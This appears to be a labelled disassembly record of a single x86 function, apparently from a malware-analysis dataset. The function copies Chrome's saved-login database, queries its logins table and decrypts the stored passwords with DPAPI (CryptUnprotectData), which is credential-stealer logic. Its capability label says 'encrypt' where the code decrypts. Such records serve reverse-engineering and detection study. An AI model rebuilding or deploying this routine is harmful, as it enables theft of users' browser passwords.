Function at 0x40c620
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp - 0x1c]
push str.SELECT__FROM_logins
call fcn.00402bb0
lea eax, [ebp - 8]
push 0x1a
push eax
call fcn.00413b70
add esp, 8
lea ecx, [ebp - 8]
push 0x41f414
call fcn.00403780
lea eax, [ebp - 0x14]
push 8
push eax
call fcn.004036b0
add esp, 8
lea ecx, [ebp - 8]
push eax
call fcn.004039f0
lea ecx, [ebp - 0x14]
call fcn.00403ca0
push str..tmp
lea ecx, [ebp - 8]
call fcn.00403780
lea eax, [ebp - 0x10]
push 0x1c
push eax
call fcn.00413b70
add esp, 8
lea ecx, [ebp - 0x10]
push str.GoogleChromeUser_DataDefaultLogin_Data
call fcn.00403780
lea eax, [ebp - 0x10]
push eax
call fcn.00413c00
add esp, 4
test eax, eax
je 0x40c710
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00414800
add esp, 8
test eax, eax
je 0x40c710
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x10]
call fcn.00403b40
push 0
push 2
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
call fcn.004033d0
mov ecx, eax
call fcn.00402bf0
push eax
mov eax, dword [edi + 0x24]
call eax
add esp, 0x10
lea ecx, [ebp - 0x14]
mov esi, eax
call fcn.00403280
test esi, esi
je 0x40c733
push ecx
lea eax, [ebp - 8]
mov ecx, esp
push eax
call fcn.00403c50
call fcn.00414d40
add esp, 4
xor esi, esi
lea ecx, [ebp - 0x10]
call fcn.00403ca0
lea ecx, [ebp - 8]
call fcn.00403ca0
lea ecx, [ebp - 0x1c]
call fcn.00403280
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 4]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x1c]
call fcn.00402bf0
push eax
push dword [ebp - 0x18]
mov eax, dword [edi + 0x30]
call eax
add esp, 0x14
test eax, eax
jne 0x40c6fc
push dword [ebp - 4]
mov eax, dword [edi + 0x3c]
call eax
add esp, 4
cmp eax, 0x64
jne 0x40c9b6
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFree]
nop dword [eax]
lea ecx, [ebp - 0x40]
call fcn.00402710
lea ecx, [ebp - 0xc]
call fcn.00402b70
mov eax, dword [edi + 0x38]
push 0
push dword [ebp - 4]
call eax
add esp, 8
lea ecx, [ebp - 0x14]
push eax
call fcn.00402bb0
mov eax, dword [edi + 0x38]
push 1
push dword [ebp - 4]
call eax
add esp, 8
lea ecx, [ebp - 0x38]
push eax
call fcn.00402bb0
mov eax, dword [edi + 0x54]
push 3
push dword [ebp - 4]
call eax
add esp, 8
test eax, eax
jle 0x40c7e4
mov eax, dword [edi + 0x38]
push 3
push dword [ebp - 4]
call eax
add esp, 8
lea ecx, [ebp - 0x20]
push eax
call fcn.00402bb0
push eax
lea ecx, [ebp - 0xc]
call fcn.004031f0
lea ecx, [ebp - 0x20]
call fcn.00403280
mov eax, dword [edi + 0x54]
push 3
push dword [ebp - 4]
call eax
add esp, 8
test eax, eax
jle 0x40c81c
mov eax, dword [edi + 0x38]
push 3
push dword [ebp - 4]
call eax
add esp, 8
lea ecx, [ebp - 0x24]
push eax
call fcn.00402bb0
push eax
lea ecx, [ebp - 0xc]
call fcn.004031f0
lea ecx, [ebp - 0x24]
call fcn.00403280
mov eax, dword [edi + 0x54]
push 5
push dword [ebp - 4]
call eax
add esp, 8
test eax, eax
jle 0x40c878
mov eax, dword [edi + 0x54]
push 5
push dword [ebp - 4]
call eax
push 5
push dword [ebp - 4]
mov dword [ebp - 0x50], eax
mov eax, dword [edi + 0x4c]
call eax
add esp, 0x10
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x48]
push eax
push 1
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x50]
push eax
call sub.CRYPT32.dll_CryptUnprotectData
test eax, eax
je 0x40c878
push dword [ebp - 0x48]
lea ecx, [ebp - 0x40]
push dword [ebp - 0x44]
call fcn.004028e0
push dword [ebp - 0x44]
call ebx
lea ecx, [ebp - 0xc]
call fcn.00402c00
test eax, eax
jg 0x40c88e
cmp dword [ebp - 0x3c], 0
jbe 0x40c982
lea ecx, [ebp - 0x60]
call fcn.00403290
lea ecx, [ebp - 0x5c]
call fcn.00403290
lea ecx, [ebp - 0x58]
call fcn.00403290
lea ecx, [ebp - 0x14]
call fcn.00402c00
test eax, eax
jle 0x40c8cf
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x14]
call fcn.00402cb0
push eax
lea ecx, [ebp - 0x60]
call fcn.00403b40
lea ecx, [ebp - 0x28]
call fcn.00403ca0
lea ecx, [ebp - 0xc]
call fcn.00402c00
test eax, eax
jle 0x40c8f8
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0xc]
call fcn.00402cb0
push eax
lea ecx, [ebp - 0x5c]
call fcn.00403b40
lea ecx, [ebp - 0x2c]
call fcn.00403ca0
cmp dword [ebp - 0x3c], 0
je 0x40c92e
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x40]
call fcn.00402aa0
mov ecx, eax
call fcn.00402cb0
push eax
lea ecx, [ebp - 0x58]
call fcn.00403b40
lea ecx, [ebp - 0x30]
call fcn.00403ca0
lea ecx, [ebp - 0x34]
call fcn.00403280
sub esp, 0x10
mov dword [ebp - 0x54], 1
mov esi, esp
lea eax, [ebp - 0x60]
mov ecx, esi
push eax
call fcn.00403c50
lea eax, [ebp - 0x5c]
push eax
lea ecx, [esi + 4]
call fcn.00403c50
lea eax, [ebp - 0x58]
push eax
lea ecx, [esi + 8]
call fcn.00403c50
mov eax, dword [ebp - 0x54]
mov ecx, edi
mov dword [esi + 0xc], eax
call fcn.00410a10
lea ecx, [ebp - 0x58]
call fcn.00403ca0
lea ecx, [ebp - 0x5c]
call fcn.00403ca0
lea ecx, [ebp - 0x60]
call fcn.00403ca0
lea ecx, [ebp - 0x38]
call fcn.00403280
lea ecx, [ebp - 0x14]
call fcn.00403280
lea ecx, [ebp - 0xc]
call fcn.00403280
lea ecx, [ebp - 0x40]
call fcn.00402b50
push dword [ebp - 4]
mov eax, dword [edi + 0x3c]
call eax
add esp, 4
cmp eax, 0x64
je 0x40c770
push dword [ebp - 4]
mov eax, dword [edi + 0x58]
call eax
push dword [ebp - 0x18]
mov eax, dword [edi + 0x2c]
call eax
add esp, 4
lea eax, [ebp - 8]
mov ecx, esp
push eax
call fcn.00403c50
call fcn.00414d40
add esp, 4
mov esi, 1
jmp 0x40c712